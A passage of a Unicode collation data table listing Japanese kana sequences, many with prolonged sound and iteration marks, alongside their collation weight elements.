; [.3BDB.0020.0011.0002][.3BC7.0020.0007.0002] # +FF88 FF70 ; [.3BDB.0020.0011.0002][.3BC7.0020.0007.0002] # +306D 30FC ; [.3BDB.0020.0011.0001][.3BC7.0020.0007.0002] # +30D8 30FC ; [.3BE0.0020.0011.0002][.3BC7.0020.0007.0002] # +FF8D 30FC ; [.3BE0.0020.0011.0002][.3BC7.0020.0007.0002] # +FF8D FF70 ; [.3BE0.0020.0011.0002][.3BC7.0020.0007.0002] # +3078 30FC ; [.3BE0.0020.0011.0001][.3BC7.0020.0007.0002] # +30D9 30FC ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +30D8 3099 30FC ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +FF8D FF9E 30FC ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +FF8D FF9E FF70 ; [.3BE0.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +3079 30FC ; [.3BE0.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # +3078 3099 30FC ; [.3BE0.0020.0011.0001][.0000.0037.0002][.3BC7.0020.0007.0002] # +30DA 30FC ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BC7.0020.0007.0002] # +30D8 309A 30FC ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BC7.0020.0007.0002] # +FF8D FF9F 30FC ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BC7.0020.0007.0002] # +FF8D FF9F FF70 ; [.3BE0.0020.0011.0002][.0000.0038.0002][.3BC7.0020.0007.0002] # +307A 30FC ; [.3BE0.0020.0011.0001][.0000.0038.0002][.3BC7.0020.0007.0002] # +3078 309A 30FC ; [.3BE0.0020.0011.0001][.0000.0038.0002][.3BC7.0020.0007.0002] # +30E1 30FC ; [.3BE5.0020.0011.0002][.3BC7.0020.0007.0002] # +FF92 30FC ; [.3BE5.0020.0011.0002][.3BC7.0020.0007.0002] # +FF92 FF70 ; [.3BE5.0020.0011.0002][.3BC7.0020.0007.0002] # +3081 30FC ; [.3BE5.0020.0011.0001][.3BC7.0020.0007.0002] # +30EC 30FC ; [.3BEE.0020.0011.0002][.3BC7.0020.0007.0002] # +FF9A 30FC ; [.3BEE.0020.0011.0002][.3BC7.0020.0007.0002] # +FF9A FF70 ; [.3BEE.0020.0011.0002][.3BC7.0020.0007.0002] # +308C 30FC ; [.3BEE.0020.0011.0001][.3BC7.0020.0007.0002] # +30F1 30FC ; [.3BF2.0020.0011.0002][.3BC7.0020.0007.0002] # +3091 30FC ; [.3BF2.0020.0011.0001][.3BC7.0020.0007.0002] # +30F9 30FC ; [.3BF2.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +30F1 3099 30FC ; [.3BF2.0020.0011.0002][.0000.0037.0002][.3BC7.0020.0007.0002] # +30F6 30FC ; [.3BCC.0020.000F.0002][.3BC7.0020.0007.0002] # +3096 30FC ; [.3BCC.0020.000F.0001][.3BC7.0020.0007.0002] # +31F8 30FC ; [.3BE0.0020.000F][.3BC7.0020.0007.0002] # +31FE 30FC ; [.3BEE.0020.000F][.3BC7.0020.0007.0002] # +30A9 30FC ; [.3BC8.0020.000F.0002][.3BC8.0020.0007.0002] # +FF6B 30FC ; [.3BC8.0020.000F.0002][.3BC8.0020.0007.0002] # +FF6B FF70 ; [.3BC8.0020.000F.0002][.3BC8.0020.0007.0002] # +3049 30FC ; [.3BC8.0020.000F.0001][.3BC8.0020.0007.0002] # +30AA 30FC ; [.3BC8.0020.0011.0002][.3BC8.0020.0007.0002] # +FF75 30FC ; [.3BC8.0020.0011.0002][.3BC8.0020.0007.0002] # +FF75 FF70 ; [.3BC8.0020.0011.0002][.3BC8.0020.0007.0002] # +304A 30FC ; [.3BC8.0020.0011.0001][.3BC8.0020.0007.0002] # +30B3 30FC ; [.3BCD.0020.0011.0002][.3BC8.0020.0007.0002] # +FF7A 30FC ; [.3BCD.0020.0011.0002][.3BC8.0020.0007.0002] # +FF7A FF70 ; [.3BCD.0020.0011.0002][.3BC8.0020.0007.0002] # +3053 30FC ; [.3BCD.0020.0011.0001][.3BC8.0020.0007.0002] # +30B4 30FC ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +30B3 3099 30FC ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +FF7A FF9E 30FC ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +FF7A FF9E FF70 ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +3054 30FC ; [.3BCD.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # +3053 3099 30FC ; [.3BCD.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # +30BD 30FC ; [.3BD2.0020.0011.0002][.3BC8.0020.0007.0002] # +FF7F 30FC ; [.3BD2.0020.0011.0002][.3BC8.0020.0007.0002] # +FF7F FF70 ; [.3BD2.0020.0011.0002][.3BC8.0020.0007.0002] # +305D 30FC ; [.3BD2.0020.0011.0001][.3BC8.0020.0007.0002] # +30BE 30FC ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +30BD 3099 30FC ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +FF7F FF9E 30FC ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +FF7F FF9E FF70 ; [.3BD2.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +305E 30FC ; [.3BD2.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # +305D 3099 30FC ; [.3BD2.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # +30C8 30FC ; [.3BD7.0020.0011.0002][.3BC8.0020.0007.0002] # +FF84 30FC ; [.3BD7.0020.0011.0002][.3BC8.0020.0007.0002] # +FF84 FF70 ; [.3BD7.0020.0011.0002][.3BC8.0020.0007.0002] # +3068 30FC ; [.3BD7.0020.0011.0001][.3BC8.0020.0007.0002] # +30C9 30FC ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +30C8 3099 30FC ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +FF84 FF9E 30FC ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +FF84 FF9E FF70 ; [.3BD7.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +3069 30FC ; [.3BD7.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # +3068 3099 30FC ; [.3BD7.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # +30CE 30FC ; [.3BDC.0020.0011.0002][.3BC8.0020.0007.0002] # +FF89 30FC ; [.3BDC.0020.0011.0002][.3BC8.0020.0007.0002] # +FF89 FF70 ; [.3BDC.0020.0011.0002][.3BC8.0020.0007.0002] # +306E 30FC ; [.3BDC.0020.0011.0001][.3BC8.0020.0007.0002] # +30DB 30FC ; [.3BE1.0020.0011.0002][.3BC8.0020.0007.0002] # +FF8E 30FC ; [.3BE1.0020.0011.0002][.3BC8.0020.0007.0002] # +FF8E FF70 ; [.3BE1.0020.0011.0002][.3BC8.0020.0007.0002] # +307B 30FC ; [.3BE1.0020.0011.0001][.3BC8.0020.0007.0002] # +30DC 30FC ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +30DB 3099 30FC ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +FF8E FF9E 30FC ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +FF8E FF9E FF70 ; [.3BE1.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +307C 30FC ; [.3BE1.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # +307B 3099 30FC ; [.3BE1.0020.0011.0001][.0000.0037.0002][.3BC8.0020.0007.0002] # +30DD 30FC ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BC8.0020.0007.0002] # +30DB 309A 30FC ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BC8.0020.0007.0002] # +FF8E FF9F 30FC ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BC8.0020.0007.0002] # +FF8E FF9F FF70 ; [.3BE1.0020.0011.0002][.0000.0038.0002][.3BC8.0020.0007.0002] # +307D 30FC ; [.3BE1.0020.0011.0001][.0000.0038.0002][.3BC8.0020.0007.0002] # +307B 309A 30FC ; [.3BE1.0020.0011.0001][.0000.0038.0002][.3BC8.0020.0007.0002] # +30E2 30FC ; [.3BE6.0020.0011.0002][.3BC8.0020.0007.0002] # +FF93 30FC ; [.3BE6.0020.0011.0002][.3BC8.0020.0007.0002] # +FF93 FF70 ; [.3BE6.0020.0011.0002][.3BC8.0020.0007.0002] # +3082 30FC ; [.3BE6.0020.0011.0001][.3BC8.0020.0007.0002] # +30E7 30FC ; [.3BEA.0020.000F.0002][.3BC8.0020.0007.0002] # +FF6E 30FC ; [.3BEA.0020.000F.0002][.3BC8.0020.0007.0002] # +FF6E FF70 ; [.3BEA.0020.000F.0002][.3BC8.0020.0007.0002] # +3087 30FC ; [.3BEA.0020.000F.0001][.3BC8.0020.0007.0002] # +30E8 30FC ; [.3BEA.0020.0011.0002][.3BC8.0020.0007.0002] # +FF96 30FC ; [.3BEA.0020.0011.0002][.3BC8.0020.0007.0002] # +FF96 FF70 ; [.3BEA.0020.0011.0002][.3BC8.0020.0007.0002] # +3088 30FC ; [.3BEA.0020.0011.0001][.3BC8.0020.0007.0002] # +30ED 30FC ; [.3BEF.0020.0011.0002][.3BC8.0020.0007.0002] # +FF9B 30FC ; [.3BEF.0020.0011.0002][.3BC8.0020.0007.0002] # +FF9B FF70 ; [.3BEF.0020.0011.0002][.3BC8.0020.0007.0002] # +308D 30FC ; [.3BEF.0020.0011.0001][.3BC8.0020.0007.0002] # +30F2 30FC ; [.3BF3.0020.0011.0002][.3BC8.0020.0007.0002] # +FF66 30FC ; [.3BF3.0020.0011.0002][.3BC8.0020.0007.0002] # +FF66 FF70 ; [.3BF3.0020.0011.0002][.3BC8.0020.0007.0002] # +3092 30FC ; [.3BF3.0020.0011.0001][.3BC8.0020.0007.0002] # +30FA 30FC ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +30F2 3099 30FC ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +FF66 FF9E 30FC ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +FF66 FF9E FF70 ; [.3BF3.0020.0011.0002][.0000.0037.0002][.3BC8.0020.0007.0002] # +31F3 30FC ; [.3BD7.0020.000F][.3BC8.0020.0007.0002] # +31F9 30FC ; [.3BE1.0020.000F][.3BC8.0020.0007.0002] # +31FF 30FC ; [.3BEF.0020.000F][.3BC8.0020.0007.0002] # +30A1 30FD ; [.3BC3.0020.000F.0002][.3BC3.0020.0010.0002] # +FF67 30FD ; [.3BC3.0020.000F.0002][.3BC3.0020.0010.0002] # +3041 309D ; [.3BC3.0020.000F.0001][.3BC3.0020.0010.0002] # +30A2 30FD ; [.3BC3.0020.0011.0002][.3BC3.0020.0010.0002] # +FF71 30FD ; [.3BC3.0020.0011.0002][.3BC3.0020.0010.0002] # +3042 309D ; [.3BC3.0020.0011.0001][.3BC3.0020.0010.0002] # +30A3 30FD ; [.3BC4.0020.000F.0002][.3BC4.0020.0010.0002] # +FF68 30FD ; [.3BC4.0020.000F.0002][.3BC4.0020.0010.0002] # +3043 309D ; [.3BC4.0020.000F.0001][.3BC4.0020.0010.0002] # +30A4 30FD ; [.3BC4.0020.0011.0002][.3BC4.0020.0010.0002] # +FF72 30FD ; [.3BC4.0020.0011.0002][.3BC4.0020.0010.0002] # +3044 309D ; [.3BC4.0020.0011.0001][.3BC4.0020.0010.0002] # +30A5 30FD ; [.3BC5.0020.000F.0002][.3BC5.0020.0010.0002] # +FF69 30FD ; [.3BC5.0020.000F.0002][.3BC5.0020.0010.0002] # +3045 309D ; [.3BC5.0020.000F.0001][.3BC5.0020.0010.0002] # +30A5 30FE ; [.3BC5.0020.000F.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # +FF69 30FE ; [.3BC5.0020.000F.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # +3045 309E ; [.3BC5.0020.000F.0001][.3BC5.0020.0010.0002][.0000.0037.0002] # +30A6 30FD ; [.3BC5.0020.0011.0002][.3BC5.0020.0010.0002] # +FF73 30FD ; [.3BC5.0020.0011.0002][.3BC5.0020.0010.0002] # +3046 309D ; [.3BC5.0020.0011.0001][.3BC5.0020.0010.0002] # +30A6 30FE ; [.3BC5.0020.0011.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # +FF73 30FE ; [.3BC5.0020.0011.0002][.3BC5.0020.0010.0002][.0000.0037.0002] # +3046 309E ; [.3BC5.0020.0011.0001][.3BC5.0020.0010.0002][.0000.0037.0002] # +30A7 30FD ; [.3BC7.0020.000F.0002][.3BC7.0020.0010.0002] # +FF6A 30FD ; [.3BC7.0020.000F.0002][.3BC7.0020.0010.0002] # +3047 309D ; [.3BC7.0020.000F.0001][.3BC7.0020.0010.0002] # +30A8 30FD ; [.3BC7.0020.0011.0002][.3BC7.0020.0010.0002] # +FF74 30FD ; [.3BC7.0020.0011.0002][.3BC7.0020.0010.0002] # +3048 309D ; [.3BC7.0020.0011.0001][.3BC7.0020.0010.0002] # +30A9 30FD ; [.3BC8.0020.000F.0002][.3BC8.0020.0010.0002] # +FF6B 30FD ; [.3BC8.0020.000F.0002][.3BC8.0020.0010.0002] # +3049 309D ; [.3BC8.0020.000F.0001][.3BC8.0020.0010.0002] # +30AA 30FD ; [.3BC8.0020.0011.0002][.3BC8.0020.0010.0002] # +FF75 30FD ; [.3BC8.0020.0011.0002][.3BC8.0020.0010.0002] # +304A 309D ; [.3BC8.0020.0011.0001][.3BC8.0020.0010.0002] # +30AB 30FD ; [.3BC9.0020.0011.0002][.3BC9.0020.0010.0002] # +FF76 30FD ; [.3BC9.0020.0011.0002][.3BC9.0020.0010.0002] # +304B 309D ; [.3BC9.0020.0011.0001][.3BC9.0020.0010.0002] # +30AB 30FE ; [.3BC9.0020.0011.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # +FF76 30FE ; [.3BC9.0020.0011.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # +304B 309E ; [.3BC9.0020.0011.0001][.3BC9.0020.0010.0002][.0000.0037.0002] # +30AC 30FD ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC9.0020.0010.0002] # +30AB 3099 30FD ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC9.0020.0010.0002] # +FF76 FF9E 30FD ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC9.0020.0010.0002] # +304C 309D ; [.3BC9.0020.0011.0001][.0000.0037.0002][.3BC9.0020.0010.0002] # +304B 3099 309D ; [.3BC9.0020.0011.0001][.0000.0037.0002][.3BC9.0020.0010.0002] # +30AC 30FE ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # +30AB 3099 30FE ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # +FF76 FF9E 30FE ; [.3BC9.0020.0011.0002][.0000.0037.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # +304C 309E ; [.3BC9.0020.0011.0001][.0000.0037.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # +304B 3099 309E ; [.3BC9.0020.0011.0001][.0000.0037.0002][.3BC9.0020.0010.0002][.0000.0037.0002] # +30AD 30FD ; [.3BCA.0020.0011.0002][.3BCA.0020.0010.0002] # +FF77 30FD ; [.3BCA.0020.0011.0002][.3BCA.0020.0010.0002] # +304D 309D ; [.3BCA.0020.0011.0001][.3BCA.0020.0010.0002] # +30AD 30FE ; [.3BCA.0020.0011.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # +FF77 30FE ; [.3BCA.0020.0011.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # +304D 309E ; [.3BCA.0020.0011.0001][.3BCA.0020.0010.0002][.0000.0037.0002] # +30AE 30FD ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BCA.0020.0010.0002] # +30AD 3099 30FD ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BCA.0020.0010.0002] # +FF77 FF9E 30FD ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BCA.0020.0010.0002] # +304E 309D ; [.3BCA.0020.0011.0001][.0000.0037.0002][.3BCA.0020.0010.0002] # +304D 3099 309D ; [.3BCA.0020.0011.0001][.0000.0037.0002][.3BCA.0020.0010.0002] # +30AE 30FE ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # +30AD 3099 30FE ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # +FF77 FF9E 30FE ; [.3BCA.0020.0011.0002][.0000.0037.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # +304E 309E ; [.3BCA.0020.0011.0001][.0000.0037.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # +304D 3099 309E ; [.3BCA.0020.0011.0001][.0000.0037.0002][.3BCA.0020.0010.0002][.0000.0037.0002] # +30AF 30FD ; [.3BCB.0020.0011.0002][.3BCB.0020.0010.0002] # +FF78 30FD ; [.3BCB.0020.0011.0002][.3BCB.0020.0010.0002] # +304F 309D ; [.3BCB.0020.0011.0001][.3BCB.0020.0010.0002] # +30AF 30FE ; [.3BCB.0020.0011.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # +FF78 30FE ; [.3BCB.0020.0011.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # +304F 309E ; [.3BCB.0020.0011.0001][.3BCB.0020.0010.0002][.0000.0037.0002] # +30B0 30FD ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BCB.0020.0010.0002] # +30AF 3099 30FD ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BCB.0020.0010.0002] # +FF78 FF9E 30FD ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BCB.0020.0010.0002] # +3050 309D ; [.3BCB.0020.0011.0001][.0000.0037.0002][.3BCB.0020.0010.0002] # +304F 3099 309D ; [.3BCB.0020.0011.0001][.0000.0037.0002][.3BCB.0020.0010.0002] # +30B0 30FE ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # +30AF 3099 30FE ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # +FF78 FF9E 30FE ; [.3BCB.0020.0011.0002][.0000.0037.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # +3050 309E ; [.3BCB.0020.0011.0001][.0000.0037.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # +304F 3099 309E ; [.3BCB.0020.0011.0001][.0000.0037.0002][.3BCB.0020.0010.0002][.0000.0037.0002] # +30B1 30FD ; [.3BCC.0020.0011.0002][.3BCC.0020.0010.0002] # +FF79 30FD ; [.3BCC.0020.0011.0002][.3BCC.0020.0010.0002] # +3051 309D ; [.3BCC.0020.0011.0001][.3BCC.0020.0010.0002] # +30B1 30FE ; [.3BCC.0020.0011.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # +FF79 30FE ; [.3BCC.0020.0011.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # +3051 309E ; [.3BCC.0020.0011.0001][.3BCC.0020.0010.0002][.0000.0037.0002] # +30B2 30FD ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BCC.0020.0010.0002] # +30B1 3099 30FD ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BCC.0020.0010.0002] # +FF79 FF9E 30FD ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BCC.0020.0010.0002] # +3052 309D ; [.3BCC.0020.0011.0001][.0000.0037.0002][.3BCC.0020.0010.0002] # +3051 3099 309D ; [.3BCC.0020.0011.0001][.0000.0037.0002][.3BCC.0020.0010.0002] # +30B2 30FE ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # +30B1 3099 30FE ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # +FF79 FF9E 30FE ; [.3BCC.0020.0011.0002][.0000.0037.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # +3052 309E ; [.3BCC.0020.0011.0001][.0000.0037.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # +3051 3099 309E ; [.3BCC.0020.0011.0001][.0000.0037.0002][.3BCC.0020.0010.0002][.0000.0037.0002] # +30B3 30FD ; [.3BCD.0020.0011.0002][.3BCD.0020.0010.0002] # +FF7A 30FD ; [.3BCD.0020.0011.0002][.3BCD.0020.0010.0002] # +3053 309D ; [.3BCD.0020.0011.0001][.3BCD.0020.0010.0002] # +30B3 30FE ; [.3BCD.0020.0011.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # +FF7A 30FE ; [.3BCD.0020.0011.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # +3053 309E ; [.3BCD.0020.0011.0001][.3BCD.0020.0010.0002][.0000.0037.0002] # +30B4 30FD ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BCD.0020.0010.0002] # +30B3 3099 30FD ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BCD.0020.0010.0002] # +FF7A FF9E 30FD ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BCD.0020.0010.0002] # +3054 309D ; [.3BCD.0020.0011.0001][.0000.0037.0002][.3BCD.0020.0010.0002] # +3053 3099 309D ; [.3BCD.0020.0011.0001][.0000.0037.0002][.3BCD.0020.0010.0002] # +30B4 30FE ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # +30B3 3099 30FE ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # +FF7A FF9E 30FE ; [.3BCD.0020.0011.0002][.0000.0037.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # +3054 309E ; [.3BCD.0020.0011.0001][.0000.0037.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # +3053 3099 309E ; [.3BCD.0020.0011.0001][.0000.0037.0002][.3BCD.0020.0010.0002][.0000.0037.0002] # +30B5 30FD ; [.3BCE.0020.0011.0002][.3BCE.0020.0010.0002] # +FF7B 30FD ; [.3BCE.0020.0011.0002][.3BCE.0020.0010.0002] # +3055 309D ; [.3BCE.0020.0011.0001][.3BCE.0020.0010.0002] # +30B5 30FE ; [.3BCE.0020.0011.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # +FF7B 30FE ; [.3BCE.0020.0011.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # +3055 309E ; [.3BCE.0020.0011.0001][.3BCE.0020.0010.0002][.0000.0037.0002] # +30B6 30FD ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BCE.0020.0010.0002] # +30B5 3099 30FD ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BCE.0020.0010.0002] # +FF7B FF9E 30FD ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BCE.0020.0010.0002] # +3056 309D ; [.3BCE.0020.0011.0001][.0000.0037.0002][.3BCE.0020.0010.0002] # +3055 3099 309D ; [.3BCE.0020.0011.0001][.0000.0037.0002][.3BCE.0020.0010.0002] # +30B6 30FE ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # +30B5 3099 30FE ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # +FF7B FF9E 30FE ; [.3BCE.0020.0011.0002][.0000.0037.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # +3056 309E ; [.3BCE.0020.0011.0001][.0000.0037.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # +3055 3099 309E ; [.3BCE.0020.0011.0001][.0000.0037.0002][.3BCE.0020.0010.0002][.0000.0037.0002] # +30B7 30FD ; [.3BCF.0020.0011.0002][.3BCF.0020.0010.0002] # +FF7C 30FD ; [.3BCF.0020.0011.0002][.3BCF.0020.0010.0002] # +3057 309D ; [.3BCF.0020.0011.0001][.3BCF.0020.0010.0002] # +30B7 30FE ; [.3BCF.0020.0011.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # +FF7C 30FE ; [.3BCF.0020.0011.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # +3057 309E ; [.3BCF.0020.0011.0001][.3BCF.0020.0010.0002][.0000.0037.0002] # +30B8 30FD ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BCF.0020.0010.0002] # +30B7 3099 30FD ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BCF.0020.0010.0002] # +FF7C FF9E 30FD ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BCF.0020.0010.0002] # +3058 309D ; [.3BCF.0020.0011.0001][.0000.0037.0002][.3BCF.0020.0010.0002] # +3057 3099 309D ; [.3BCF.0020.0011.0001][.0000.0037.0002][.3BCF.0020.0010.0002] # +30B8 30FE ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # +30B7 3099 30FE ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # +FF7C FF9E 30FE ; [.3BCF.0020.0011.0002][.0000.0037.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # +3058 309E ; [.3BCF.0020.0011.0001][.0000.0037.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # +3057 3099 309E ; [.3BCF.0020.0011.0001][.0000.0037.0002][.3BCF.0020.0010.0002][.0000.0037.0002] # +30B9 30FD ; [.3BD0.0020.0011.0002][.3BD0.0020.0010.0002] # +FF7D 30FD ; [.3BD0.0020.0011.0002][.3BD0.0020.0010.0002] # +3059 309D ; [.3BD0.0020.0011.0001][.3BD0.0020.0010.0002] # +30B9 30FE ; [.3BD0.0020.0011.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # +FF7D 30FE ; [.3BD0.0020.0011.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # +3059 309E ; [.3BD0.0020.0011.0001][.3BD0.0020.0010.0002][.0000.0037.0002] # +30BA 30FD ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BD0.0020.0010.0002] # +30B9 3099 30FD ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BD0.0020.0010.0002] # +FF7D FF9E 30FD ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BD0.0020.0010.0002] # +305A 309D ; [.3BD0.0020.0011.0001][.0000.0037.0002][.3BD0.0020.0010.0002] # +3059 3099 309D ; [.3BD0.0020.0011.0001][.0000.0037.0002][.3BD0.0020.0010.0002] # +30BA 30FE ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # +30B9 3099 30FE ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # +FF7D FF9E 30FE ; [.3BD0.0020.0011.0002][.0000.0037.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # +305A 309E ; [.3BD0.0020.0011.0001][.0000.0037.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # +3059 3099 309E ; [.3BD0.0020.0011.0001][.0000.0037.0002][.3BD0.0020.0010.0002][.0000.0037.0002] # +30BB 30FD ; [.3BD1.0020.0011.0002][.3BD1.0020.0010.0002] # +FF7E 30FD ; [.3BD1.0020.0011.0002][.3BD1.0020.0010.0002] # +305B 309D ; [.3BD1.0020.0011.0001][.3BD1.0020.0010.0002] # +30BB 30FE ; [.3BD1.0020.0011.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # +FF7E 30FE ; [.3BD1.0020.0011.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # +305B 309E ; [.3BD1.0020.0011.0001][.3BD1.0020.0010.0002][.0000.0037.0002] # +30BC 30FD ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BD1.0020.0010.0002] # +30BB 3099 30FD ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BD1.0020.0010.0002] # +FF7E FF9E 30FD ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BD1.0020.0010.0002] # +305C 309D ; [.3BD1.0020.0011.0001][.0000.0037.0002][.3BD1.0020.0010.0002] # +305B 3099 309D ; [.3BD1.0020.0011.0001][.0000.0037.0002][.3BD1.0020.0010.0002] # +30BC 30FE ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # +30BB 3099 30FE ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # +FF7E FF9E 30FE ; [.3BD1.0020.0011.0002][.0000.0037.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # +305C 309E ; [.3BD1.0020.0011.0001][.0000.0037.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # +305B 3099 309E ; [.3BD1.0020.0011.0001][.0000.0037.0002][.3BD1.0020.0010.0002][.0000.0037.0002] # +30BD 30FD ; [.3BD2.0020.0011.0002][.3BD2.0020.0010.0002] # +FF7F 30FD ; 